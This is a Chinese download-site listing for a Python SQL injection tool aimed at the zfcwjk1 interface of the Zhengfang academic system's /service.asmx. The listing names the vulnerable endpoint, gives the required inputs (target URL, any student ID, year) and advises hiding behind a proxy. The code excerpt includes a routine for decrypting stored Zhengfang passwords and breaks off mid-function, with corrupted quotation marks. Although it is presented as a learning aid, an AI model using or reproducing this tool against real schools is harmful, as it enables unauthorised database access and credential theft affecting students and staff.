• 大小: 4KB
    文件类型: .py
    金币: 2
    下载: 0 次
    发布日期: 2024-02-01
  • 语言: Python
  • 标签: sql注入  黑客  python  

资源简介

相信研究过正方教务系统的朋友看到过网上传播的比较多的一篇文章提的/service.asmx中的BMCheckPassword存在注入,然而现在大多数正方教务已经将BMCheckPassword移除了,导致漏洞无法利用。本人研究了/service.asmx中的其它接口,发现zfcwjk1存在同样的注入漏洞,特将注入方法写成工具供大家学习参考。 zfcwjk1似乎是一个财务类的确认接口,利用起来稍微麻烦点,需要一个目标学校的任意学号。 程序执行后,会需要用户输入三个参数。分别是: 1.目标网址 2.目标学校的任意学号 3.年份(估计是用来确定这个学号所在年份的情况,随便填个2012或者2013,不行再换) 若提示“cannot access target url”则可能是目标网址填错了或者教务系统已经将/service.asmx移除了,如果是/service.asmx被移除的话漏洞就没法再利用了。 另外,若是校内网使用则建议挂代理。。。

资源截图

代码片段和文件信息

import requests
import re
import os
def add(a):
    if a==‘~‘:
        a=None
        return a
    a=chr(ord(a)+1)
    if a==‘&‘ or a==‘<‘:
        a=chr(ord(a)+1)
    return a
def zfDecrypt(pwdkey=“Encrypt01“):
    print ‘beginning to decrypte password...‘
    tmp = ““
    for i in range(len(pwd)//len(key)+1):
        tmp = tmp + key
    key = tmp[0:len(pwd)]
        
    pwdLength = len(pwd)
    
    if (pwdLength % 2 ==0):
        pwd_1 = list(pwd[0:pwdLength//2])
        pwd_2 = list(pwd[pwdLength//2:pwdLength])
        pwd_1.reverse()
        pwd_2.reverse()
        pwd = ‘‘.join(pwd_1)+‘‘.join(pwd_2)
        
    array_p = []
    array_k = []
    
    for i in range(pwdLength):
        
        array_p.append(pwd[i:i+1])
        array_k.append(key[i:i+1])
        a = ord(array_p[i])^ord(array_k[i])
        
        if((a>=32)and(a<=126)):
            array_p[i] = chr(a)
    pwd = ‘‘.join(array_p)
    print ‘decryption finished‘
    return pwd
def getSession(url):
    s=requests.session()
    r=s.get(url)
    return url+r.request.path_url
def addasmx(url):
    pos=url.rfind(‘/‘)
    return url[:pos]+‘/service.asmx‘
def handle_url(url):
    if url[-1]==‘/‘:
        url=url[:-1]
    s=requests.session()
    r=s.get(url)
    if r.request.path_url!=‘/‘:
        pos=r.request.path_url.rfind(‘/‘)
        session=r.request.path_url[:pos]
    else:
        session=r.request.path_url
    url=url+session+‘/service.asmx‘
    r=requests.get(url)
    if r.status_code==200 and ‘ERROR‘ not in r.content:
        return url
    else: 
        return None
def get_headers_body(urlxnxh):
    regx=‘
([\s\S]+?)

    r=requests.get(url+‘?op=zfcwjk1‘)
    ret=re.findall(regxr.content)
    pos=ret[0].find(‘\r\n\r\n‘)
    headers=ret[0][:pos]
    body=ret[0][pos+4:]
    headers=headers.split(‘\r\n‘)[1:]
    headers={i.split(‘: ‘)[0]:‘‘.join(i.split(‘: ‘)[1:]) for i in headers if ‘C

评论

共有 条评论